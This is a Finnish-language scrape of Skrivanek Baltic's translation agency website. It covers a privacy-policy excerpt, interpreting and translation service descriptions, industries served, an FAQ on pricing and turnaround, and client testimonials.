14. 2 Tehdä korjauksia kaikkiin Skrivanekin hallussa oleviin henkilötietoihinsa hakemalla muutosta joko lähettämällä sähköisesti allekirjoitettu sähköposti osoitteeseen sales@skrivanek. ee, soittamalla numeroon +371 26 382 680 tai käymällä Skrivanekin toimistossa. 14. 3 Asiakkailla on oikeus saada tietoja niistä luonnollisista henkilöistä tai oikeushenkilöistä, jotka tiettynä ajanjaksona ovat saaneet asiakkaiden tietoja Skrivanekilta. Skrivanek ei luovuta asiakkaille tietoja valtion laitoksista, jotka ovat rikosoikeudenkäynnin tai tiedustelutoiminnan harjoittajia tai muista laitoksista, joista tällaisten tietojen antaminen on lailla kielletty. 14. 4 Vaatia sellaisten henkilötietojen, joita ei enää tarvita siihen tarkoitukseen, jota varten ne on kerätty ja käsitelty, käsittelyn poistamista tai käsittelyn rajoittamista (”oikeus tulla unohdetuksi”). 14. 5 Ottaa yhteyttä Skrivanekiin tai henkilötietojen käsittelyä valvovaan viranomaiseen henkilötietojen käsittelyä koskeviin kysymyksiin liittyen. 14. 6 Ottaa yhteyttä Skrivanekin tietosuoja-asiantuntijaan saadakseen tietoja asiakkaan henkilötietojen käsittelystä ja sen suojaamisesta. Ilmoitus evästeiden käytöstä SKRIVANEKIN TIETOSUOJA-ASIANTUNTIJA Uldis Krūmiņš dpo@skrivanek. lv --- > Tulkkauksista on apua konferensseissa, liiketapaamisissa ja muissa kansainvälisissä toimissa. Pyydä tulkkauspalvelutarjous Skrivanekilta! - Published: 2022-06-20 - Modified: 2024-08-22 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/ - Translation Priorities: Optional Tulkkausta tarvitaan nykyään kansainvälisissä konferensseissa ja tapahtumissa, tärkeissä liiketapaamisissa ja kokouksissa. Tulkkausta käytetään myös verkkokonferensseissa ja -kokouksissa, joita pidetään Zoomissa, MS Teamsissa ja muilla verkkoalustoilla. Tulkkauksessa tulkin tiedot ja tulkkauksen laatu ovat erittäin tärkeitä, jotta puhujan ajatukset voidaan välittää mahdollisimman tarkasti kohdekielelle. Tulkkaus jaetaan yleensä kahteen luokkaan – konsekutiivi- ja simultaanitulkkaukseen – mutta erityispiirteidensä vuoksi on olemassa myös esimerkiksi oikeustulkkaus. MIKSI VALITA TULKKAUS SKRIVANEKILTA? Skrivanek on käännöstoimisto, jolla on paljon kokemusta. Tarjoamme tulkkaukseen tarvittavan tekniikan sekä ammattitulkkeja, jotka työskentelevät paikan päällä konferensseissa ja kokouksissa tai tarjoavat tulkkausta verkkoympäristössä tapahtuviin tapahtumiin. Etunamme on erinomainen asiakaspalvelu ja aina korkea laatu. Skrivanekilla on viisi ISO-sertifikaattia, jotka takaavat tulkkiemme ammattitaidon ja asiakastietojen luottamuksellisuuden. Olemme toteuttaneet onnistuneesti monimutkaisia tulkkausprojekteja ja tarjoamme parhaat ratkaisut myös uusiin tilanteisiin. ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puola99 % asiakkaista saa hintatarjouksen alle 15 minuutiss ETSITKÖ TULKKAUSPALVELUITA TAI KONSULTOINTIA? Valmistamme sinulle räätälöidyn ratkaisun ja kysymme sinulta kiinnostuksen kohteistasi. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada KONSEKUTIIVITULKKAUS Konsekutiivitulkkaus tarkoittaa sitä, että tulkki kuuntelee ensin puhujaa ja tulkkaa sen jälkeen puhujan sanoman toiselle kielelle. Konsekutiivitulkkaus voidaan jakaa kahteen tyyppiin: lyhyeen ja pitkään konsekutiivitulkkaukseen. Lyhyt konsekutiivitulkkaus tulkataan aina kahden tai kolmen lauseen välein. Tämä on yleinen käytäntö liikeneuvotteluissa, vierailuilla, opastetuilla kierroksilla jne. Pitkän konsekutiivitulkkauksen tulkkausväli on 5–20 minuuttia. Hyvä ammattitulkki pystyy välittämään myös pitkiä keskusteluja erittäin yksityiskohtaisesti toisella kielellä. Nykyään pitkä konsekutiivitulkkaus korvataan usein simultaanitulkkauksella, mutta sitä käytetään edelleen kokouksissa tai tapaamisissa (esim. tekniset tiedotustilaisuudet, liikeillalliset, opintomatkat ja muut pienryhmätapaamiset). MILLAINEN ON HYVÄ KONSEKUTIIVITULKKAUS? Tulkkauksen on välitettävä viesti tai ajatus kohdekielelle mahdollisimman hyvin. Konsekutiivitulkkauksessa on tärkeää, että tulkki on uskollinen puhujan äänensävylle ja välittää hänen ajatuksensa mahdollisimman nopeasti ja sujuvasti. Hyvä tulkkaus vaatii selkeää ja kontekstiherkkää kieltä. Tulkilla on oltava hyvä yhteys sekä puhujaan että kuulijoihin. SIMULTAANITULKKAUS Simultaanitulkkaus tarkoittaa sitä, että puhujan puhe tulkataan tulkkauskopissa muutaman sekunnin viiveellä. Simultaanitulkkaus on melko uusi tulkkauksen muoto, joka juontaa juurensa toisen maailmansodan jälkeisistä Nürnbergin oikeudenkäynneistä (vaikka sitä harjoitettiin aiemminkin). Nürnbergin oikeudenkäynnit tulkattiin neljälle kielelle, ja siitä lähtien tulkkausprosessi on pysynyt pääosin samana (kopit, mikrofonit, kuulokkeet ja kolme tulkkia). Simultaanitulkkaus on haastavaa: se vaatii tulkilta äärimmäistä keskittymistä, sillä ihmiset eivät tavallisesti kuuntele ja puhu samaan aikaan. Siksi simultaanitulkkaus vaatii laajaa koulutusta ja harjoittelua. Tulkit työskentelevät äänieristetyssä kopissa tavallisesti vähintään yhden tai kahden kollegan kanssa. Tulkki kuuntelee puhujaa kuulokkeilla ja tulkkaa puheen lähes välittömästi mikrofoniinsa. Kuulijat yhdistävät omat kuulokkeensa sopivalle kanavalle kuunnellakseen simultaanitulkkausta haluamallaan kielellä. Simultaanitulkkauksessa voidaan määrittää useita kielitiloja. Monikielisissä konferensseissa tulkit tulkkaavat vain omalle äidinkielelleen tai tietylle kieliparille. Koska tällainen tulkkaus vaatii erityisen paljon keskittymistä, tulkkia vaihdetaan 10–30 minuutin välein. MILLAINEN ON HYVÄ SIMULTAANITULKKAUS? Hyvä simultaanitulkkaus välittää viestin kohdekielellä mahdollisimman tarkasti pysyen uskollisena sekä puhujan ajatuksille että sävylle. Simultaanitulkkauksessa tulkki välttää kirjaimellista tulkkausta. Tulkit puhuvat rauhallisella, varmalla ja tasaisella äänellä. Heillä on oltava hyvä suhde sekä puhujaan että kuulijoihin. Simultaanitulkkauksessa tietty spontaanius on tarpeen, sillä tarinan merkitys on välitettävä mahdollisimman hyvin. OIKEUSTULKKAUS Tulkkausta voidaan tarvita myös oikeudenkäynneissä. Oikeustulkkauksessa on tärkeää, että tulkki tuntee juridiset asiat, terminologian ja prosessit. Skrivanek Balticin tiimiin kuuluu tulkkeja, jotka ovat erikoistuneet oikeudenkäyntien tulkkaukseen. On erittäin tärkeää, että oikeustulkkauksen tekee ammattitulkki, koska tulkit, joilla ei ole asianmukaista koulutusta ja kokemusta, voivat tehdä virheitä terminologiassa. Avioerot, vahingonkorvaukset, työriidat, velat ja kiinteistöasiat ovat vain osa oikeudenkäynneistä – ja niissä kussakin käytetään erilaista terminologiaa, jotka tulkkimme tuntevat. KONFERENSSITULKKAUS Konferensseissa on tärkeämpää välittää puhujan ajatuksia kuin kääntää jokainen sana. Ammattitaitoiset simultaanitulkkimme pystyvät varmistamaan eri kulttuurien edustajien välisen viestinnän. KUISKAUSTULKKAUS Kuiskaustulkkaus on pohjimmiltaan yksi simultaanitulkkauksen muoto. Tulkki kuiskaa tulkkauksen yhden tai kahden kokoukseen osallistujan korvaan sen sijaan, että hän työskentelisi äänieristetyssä kopissa kuulokkeiden kautta. MUUT TULKKAUKSET Tarjoamme myös muunlaisia tulkkauspalveluita, kuten kuiskattua tulkkausta, puhelimessa tapahtuvaa tulkkausta tai Skype/Zoom-konferenssien tulkkausta. Jos et löydä etsimääsi listatuista tulkkauspalveluista, ota yhteyttä projektipäälliköihimme – löydämme varmasti sinulle oikean ratkaisun! AVUSTAJAPALVELUT Jos tarvitset apua tulkkauksessa arjen tilanteissa, kuten kommunikoinnissa valtion tai kunnallisten instituutioiden kanssa, asiakirjojen toimittamisessa ja niin edelleen, tulkkiavustajapalvelut ovat oikea valinta sinulle. Ota meihin yhteyttä, niin etsimme parhaan ratkaisun! TARJOAMME TULKKAUSPALVELUJA ERI YHDISTELMILLÄ YLI 40 ERI KIELELLE Englannin kieli Espanjan kieli Italian kieli Kreikan kieli Liettuan kieli Norjan kieli Puolan kieli Ranskan kieli Ruotsin kieli Saksan kieli Suomen kieli Tanskan kieli Tsekin kieli Ukrainan kieli Venäjän kieli Viron kieli LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Kääntäjillämme on taustaa lääketieteestä, juridiikasta, tekniikasta ja muista aloista, mikä auttaa varmistamaan parhaat tulokset. ⭐ - Published: 2022-06-17 - Modified: 2024-08-22 - URL: https://skrivanek.lv/tulkosanas-nozares/ - Translation Priorities: Optional Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Kielipalvelujen tarjoaja, jolla on yli 25 vuoden kokemus: ammattimaisia kielipalveluja yrityksille ja yksityishenkilöille. Ota meihin yhteyttä! - Published: 2022-06-17 - Modified: 2024-08-22 - URL: https://skrivanek.lv/ - Translation Priorities: Optional Vierailla kielillä kohti menestystä Yli 25 vuotta markkinoilla! Käännökset Tulkkaus Lokalisointi SKRIVANEK – KÄÄNTÄJÄSI JA KIELIKOULUTUSKESKUKSESI 1 Skrivanek on yksi suurimmista kielipalvelujen tarjoajista maailmassa, ja sillä on yli 25 vuoden kokemus kielipalveluista. Tällä hetkellä sillä on lähes viisikymmentä sivukonttoria useissa maissa ympäri maailmaa. Skrivanek Baltic on toiminut Latviassa vuodesta 2003 tarjoten asiakkailleen korkealaatuisia kielipalveluita. 0+ Eri kieliyhdistelmää 0+ milj. Käännettyä sanaa vuonna 2023 0+ Kielten asiantuntijaa 0 ISO-sertifikaattia TARJOAMME KIELIRATKAISUJA ERI ALOILLE YLI 300 KIELIYHDISTELMÄLLÄ Englannin kieli Espanjan kieli Italian kieli Kreikan kieli Liettuan kieli Norjan kieli Puolan kieli Ranskan kieli Ruotsin kieli Saksan kieli Suomen kieli Tanskan kieli Tsekin kieli Ukrainan kieli Venäjän kieli Viron kieli Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  Pyydä hintatarjous / lähetä kysymys Valmistelemme sinulle räätälöidyn ratkaisun ja konsultoimme sinua kiinnostuksesi kohteisiin liittyen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada Usein kysytyt kysymykset Skrivanek Baltic on sertifioitu käännöstoimisto, joka on toiminut ja tarjonnut korkealuokkaisia kielipalveluita Latviassa vuodesta 2003 lähtien. Skrivanek on yksi maailman suurimmista kielipalvelujen tarjoajista yli 20 vuoden kokemuksella. Tällä hetkellä meillä on lähes 50 toimipistettä eri maissa: Yhdysvalloissa, Itävallassa, Belgiassa, Bulgariassa, Tšekin tasavallassa, Virossa, Liettuassa, Puolassa, Slovakiassa, Sloveniassa ja Saksassa. Käännöspalvelun hinta lasketaan lähdekielen asiakirjan sanamäärän, kieliparin ja muiden tekijöiden perusteella. Lähetä asiakirjasi meille, niin teemme sinulle tarjouksen palvelun hinnasta ennen kääntämisen aloittamista. Ilmaisen tarjouksen vastaanottaminen ei velvoita tekemään yhteistyötä kanssamme. Kyllä, kaikki luonnollisten henkilöiden hinnat sisältävät arvonlisäveron. Yritysasiakkaille hinnat näkyvät ilman arvonlisäveroa. EU-lainsäädännön mukaan emme veloita arvonlisäveroa palveluista, joita tarjotaan ALV-rekisteröityneille yrityksille muissa jäsenmaissa. Käänteisen verovelvollisuuslainsäädännön mukaan verovelvollisuus siirtyy palvelujen vastaanottajalle. Jos sinulla on Microsoft Word -asiakirja, käytä Sanamäärä-toimintoa (Tarkista à Sanamäärä). Jos asiakirjasi on muussa muodossa (tuloste, JPG, HTML, PHP, ASP, jne. ), lähetä se sähköpostitse meille, niin teemme sinulle ilmaisen tarjouksen. Sovimme määräajan ennen tilauksen aloittamista. Yleensä enintään 500 sanan kääntäminen kestää yhden työpäivän, kun taas yli 1 000 sanan kääntäminen kestää vähintään puolitoista päivää. Poikkeustapauksissa teemme myös kiireellisiä käännöksiä. Se voi olla missä tahansa sähköisessä muodossa – voimme käsitellä useita muotoja. Jos asiakirjasi ei ole saatavilla sähköisenä, lähetä se meille kuvana. Voimme kääntää mitä tahansa ja missä tahansa sähköisessä muodossa säilyttäen silti alkuperäisen asiakirjan muotoilun. Lokalisointipalvelussa noudatamme asiakkaan antamia erityisiä ohjeita tai ohjelmiston määrittämiä asetuksia. Oikein mielellämme! Skrivanekilla on laaja kokemus ja taito erilaisten verkkosivujen ja hallintajärjestelmien kääntämisestä ja lokalisoinnista. Varmistamme aina ammattimaisen lähestymistavan ja löydämme sopivimman ratkaisun tilanteeseesi varmistaaksemme parhaan tuloksen kyseisissä kieliyhdistelmissä. Vaikka suurin osa käännöksistämme tulee oikeushenkilöiltä, työskentelemme mielellämme myös luonnollisten henkilöiden kanssa. Notaarin varmentavat käännökset ovat yleisin palvelu luonnollisille henkilöille. Kielikurssit, lasten ja nuorten leirit ovat myös suosittuja. Molemmat ovat kielen ammattilaisia, mutta ero on siinä, että kääntäjä tarjoaa kirjallisia käännöksiä, kun taas tulkki tarjoaa suullisia käännöksiä joko konsekutiivisesti tai simultaanisesti. Käsittelemme alkuperäisiä asiakirjoja sähköisesti muuttamatta niiden tyyliä tai muotoilua aina, kun se on mahdollista. Tarvittaessa takaamme, että asiakkaan asiakirjan käännös näyttää täysin samalta kuin alkuperäinen tai muotoilemme sen asiakkaan ohjeiden mukaisesti julkaisuhenkilöstömme avustuksella. Meillä on sertifioinnit ISO 9001, EN 17100 ja ISO 27001. Olemme sitoutuneet luottamuksellisuuteen, ottamaan vastuun kaikista töistämme ja olemaan aina ajoissa! EN 17100 asettaa käännösprosessille vaatimuksia, jotka vaikuttavat suoraan käännöspalvelun laatuun ja toimittamiseen. Asiakkaidemme tyytyväisyyden takeeksi olemme allekirjoittaneet kansainvälisen vakuutusyhtiön AIG:n kanssa ammatillisen vastuun sopimuksen. Tarjoamme myös notaarin sertifioimia käännöksiä tai sertifioimme ne itse. Ei, kaikki käännöstilaukset ovat projektipäälliköiden hyväksymiä ja valvomia. Projektipäällikkö muodostaa tehokkaan yhteyden asiakkaan ja toimittajan välille. Skrivanek Balticin kääntäjät ja tulkit voivat tarjota palveluita yli 110 kielellä. Tarjoamme laajan valikoiman kielipalveluita – käännös- ja tulkkauspalveluita, lokalisointipalveluita, tekstin mukauttamista, tekstien kirjoittamista ja taittoa. Tulkkausta järjestetään konferensseissa, liiketapaamisissa ja oikeudenkäyntimenettelyissä. Kääntäminen sisältää erikoiskäännöksiä ja yleisiä käännöksiä eri toimialoille. Kyllä, usein jopa luomme yhteistyökumppaneillemme tiimejä kielen asiantuntijoista, jotta palvelut ovat aina samojen kääntäjien tai tulkkien tuottamia. Otamme mielellämme palautetta vastaan ja pyydämme samaa kielen ammattilaista hoitamaan palvelusi. Vakioasiakkaillamme on myös omat projektipäälliköt. Se riippuu jokaisesta yksittäisestä tapauksesta ja tarpeistasi. Vain sinä voit päättää, kuinka monta tuntia tarvitset tulkkia. Kun teksti on tarkoitettu markkinointi- tai mainostarkoituksiin, yksinkertainen käännös ei riitä – useimmiten teksti on lokalisoitava sekä sanonnat ja muut vastaavat ilmaisut on muutettava siten, että kohdekielen käyttäjät ymmärtävät ne helposti. Tällöin tekstit mukautetaan täysin vastaamaan kohdekielisen yleisön vaatimuksia. Tietokoneavusteiset käännöstyökalut (CAT) ovat ohjelmia, joiden tarkoitus on helpottaa käännösprosessia. Käännöstyökalut eivät tarkoita tietokoneistettua tai automaattista käännöstä, mutta ne tekevät kääntämisestä nopeampaa, varmistavat terminologian yhdenmukaisen käytön, pienentävät käännöskustannuksia ja tarjoavat muita etuja. Nämä työkalut mahdollistavat myös kaikkien käännettyjen tekstien tallentamisen, jolloin identtiset lauseet täytyy kääntää vain kerran. Ne ovat erityisen hyödyllisiä käännettäessä talousaiheisia ja teknisiä tekstejä sekä lääkekuvauksia, verkkosivustoja ja ohjelmistoja. --- > Yli 25 vuotta markkinoilla! Käännämme lähes kaikenlaisia ja -muotoisia asiakirjoja. Saat ilmaisen tarjouksen 15 minuutissa! - Published: 2022-06-17 - Modified: 2024-08-22 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/ - Translation Priorities: Optional Meillä on yli 25 vuoden kokemus käännöspalveluiden tarjoamisesta ja olemme ylpeitä siitä, että olemme yksi maailman 100 suurimmasta käännöspalveluntarjoajasta. Tarjoamme asiakirjakäännöksiä yli 110 kieliyhdistelmällä. Kokeneet kääntäjät ja alan asiantuntijat varmistavat eri alojen tekstien laadukkaat käännökset. Käännöstoimistollamme on useita ISO-sertifikaatteja. Näin takaamme sinulle aina korkealaatuisen käännöksen. Skrivanek oli ensimmäinen käännöstoimisto Keski- ja Itä-Euroopassa, joka täytti täysin ISO 9001 -laatujärjestelmän vaatimukset. Tämä tarkoittaa, että yrityksemme on toteuttanut tarvittavat prosessit, jotta palvelumme täyttävät sekä asiakkaidemme vaatimukset että viranomaisvaatimukset. LAAJA KIELIVALIKOIMA Käännöstoimistomme etuna on erittäin laaja valikoima kielipareja. Kansainvälisen kääntäjä- ja oikolukijajoukkomme avulla voimme kääntää tekstisi mille tahansa tarvitsemallesi kielelle. KOKENEET LINGVISTIT JA ALAN ASIANTUNTIJAT Monivuotisen toimintamme aikana olemme koonneet käännöstoimistoomme kokeneita lingvistejä sekä eri alojen asiantuntijoita. Tämä varmistaa, että tekstisi käännetään ja oikoluetaan asiantuntevasti, vaikka se sisältäisi hyvin erityistä sanastoa. EN 17100 -sertifikaatti todistaa, että yrityksemme täyttää asetetut vaatimukset asiantuntijan valinnan, viestinnän, projektinhallinnan, työprosessin, teknologian käytön ja muiden alakohtaisten ominaisuuksien osalta. KONEKÄÄNTÄMINEN Parantaaksemme käännösprosessin laatua ja nopeutta, käytämme uudempia käännöstekniikoita, kuten konekääntämistä. Konekääntäminen on ottanut suuren harppauksen eteenpäin ja säästää huomattavasti aikaa käännettävän tekstin sujuvuutta ja selkeyttä uhraamatta. Skrivanek on kehittänyt oman konekäännösjärjestelmänsä – Skrivanek NMT. Lisäksi teemme yhteistyötä suurten NMT-palveluntarjoajien, kuten Googlen ja DeepL:n kanssa - pääasiassa kielillä, joilla emme ole vielä kehittäneet omaa konekääntämistämme. Tarvittaessa voimme mukauttaa NMT-järjestelmän alasi käännöksille. Olemme saaneet ISO 18587 -sertifikaatin, joka määrittelee vaatimukset ihmisen tekemälle jälkimuokkausprosessille sekä konekäännöksen oikolukijoiden pätevyyden. TIETOJEN LUOTTAMUKSELLISUUS Takaamme asiakkaidemme tietojen luottamuksellisuuden. Tietoturvallisuuden hallintajärjestelmän standardi ISO/IEC 27001:2022 takaa, että yrityksemme toteuttaa vaadittavat tietoturvatoimenpiteet. Se tarjoaa myös tarvittavat valvontamenettelyt, joilla varmistetaan asiakkaan meille antamien tietojen turvallisuus ja luottamuksellisuus. YKSILÖLLINEN LÄHESTYMISTAPA Lähestymme jokaista asiakasta ja projektia yksilöllisesti. Työstämme tekstejä eri muodoissa; löydämme alallesi sopivan kääntäjän ja teemme kattavan oikoluvun. TÄYDEN PALVELUN TOIMISTO Vahvuutemme on käännöksissä, olipa ala mikä tahansa: erikoisalan käännökset, yleiskäännökset, viralliset käännökset tai käännösten lokalisointi. Kokeneen tiimimme avulla voimme tarjota sinulle kaikki tarvitsemasi käännöspalvelut. KAPASITEETTI HALLITA SUURIA PROJEKTEJA Suuret käännösprojektit ovat erittäin tervetulleita toimistollemme. Autamme mielellämme myös suurissa, pitkäaikaisissa projekteissa, kuten erittäin pitkät tai tekniset käännökset. Olemme kääntäneet asiakkaillemme onnistuneesti tuhansia sivuja tarjouspyyntöasiakirjoja tai oikeudenkäynneissä käytettävää materiaalia, joissa on ymmärrettävä tapauksen luonne, riita-asia ja laki oikeellisuuden varmistamiseksi. MITÄ KÄÄNNÖS MAKSAA? Kun olet lähettänyt käännöspyynnön, lähetämme tarjouksen 30 minuutin kuluessa. Käännöksen hinta perustuu sanojen määrään, kielipariin, tekstin erityisyyteen jne. Käännöksiin sisältyy myös kohdekieltä äidinkielenään puhuvan henkilön suorittama kielentarkistus. Jos haluat tarkemman tarjouksen, lähetä meille käännettävä asiakirja, niin me laskemme hinnan. Käännöstoimistomme kääntäjät käsittelevät asiakirjoja kaikissa tiedostomuodoissa. MITEN NOPEASTI KÄÄNNÖS ON VALMIS? Käännös sisältää käännöksen ja äidinkielisen henkilön suorittaman oikoluvun. Sovimme määräajan kanssasi henkilökohtaisesti ennen kääntämisen aloittamista, mutta yleisesti 500 sanan teksti voidaan toimittaa yhdessä työpäivässä. Varaa 1000 sanan tekstille vähintään puolitoista työpäivää. Tietokannassamme on yli 3000 pätevää kääntäjää, joten voimme tarjota käännöksiä millä tahansa kielellä kohtuullisessa ajassa. Voimme tarjota myös kiireellisiä käännöksiä. Tämän tyyppisissä projekteissa sovimme määräajan kanssasi erikseen, mutta käännöksen hinta on korkeampi. ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissa PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada ERIKOISALOJEN KÄÄNNÖKSET Olemme erikoisalojen tekstien kääntämisen asiantuntijoita. Näihin kuuluvat lääketieteelliset tekstit, rahoitusasiakirjat, rakennusohjeet, patentit jne. Jos tarvitset alan parhaan käännöksen, voit lopettaa etsimisen! Monet tunnetut yritykset uskovat jatkuvasti käännöstyönsä käsiimme. Lue lisää YLEISET KÄÄNNÖKSET Olipa kyseessä sitten henkilökohtainen tai yrityksen asiakirja, painettu materiaali tai graafinen teksti, voimme kääntää kaiken puolestasi! Toimimme kansainvälisesti ja siksi voimme tarjota nopeita ratkaisuja. Maailmanlaajuiset tietokantamme antavat meille mahdollisuuden tarjota lyhyitä määräaikoja. SERTIFIOITU KÄÄNNÖS Auktorisoidun kääntäjän tai notaarin palvelut ovat toisinaan tarpeen käännettäessä virallisia asiakirjoja, kuten syntymätodistuksia, testamentteja tai vihkitodistuksia. Esimerkiksi joskus tietyn maan kansallisen viranomaisen myöntämää asiakirjaa on käytettävä toisessa maassa, jossa on eri virallinen kieli. 1. tammikuuta 2015 alkaen Viron notaarit voivat todistaa oikeaksi vain viroksi käännettyjen ulkomaisten asiakirjojen käännösten paikkansapitävyyden. Auktorisoidut kääntäjät voivat kääntää ja vahvistaa vironkielisiä asiakirjoja, jotka on käännettävä vieraalle kielelle. Jos Virossa ei ole auktorisoitua kääntäjää vaaditulle kieliyhdistelmälle, voimme auttaa tarjoamalla latvialaisen notaarin vahvistamia käännöksiä lähes 500 kieliyhdistelmälle. LOKALISOINTI Lokalisointi on prosessi, jossa lähdeteksti tai ohjelmisto mukautetaan kohdekielen kulttuuriseen kontekstiin ja normeihin. Lokalisointi on hyödyllistä markkinointimateriaaleja, käyttöohjeita ja verkkosivuja käännettäessä. Lokalisointi on välttämätöntä esimerkiksi tuotteiden viennissä ulkomaille. Lue lisää --- > Yleis- ja erikoiskäännökset viron kielellä. Tulkkaus ja muut virolaiset kieliratkaisut. Pyydä ilmainen tarjous! - Published: 2022-06-16 - Modified: 2024-10-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/ - Translation Priorities: Optional PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen 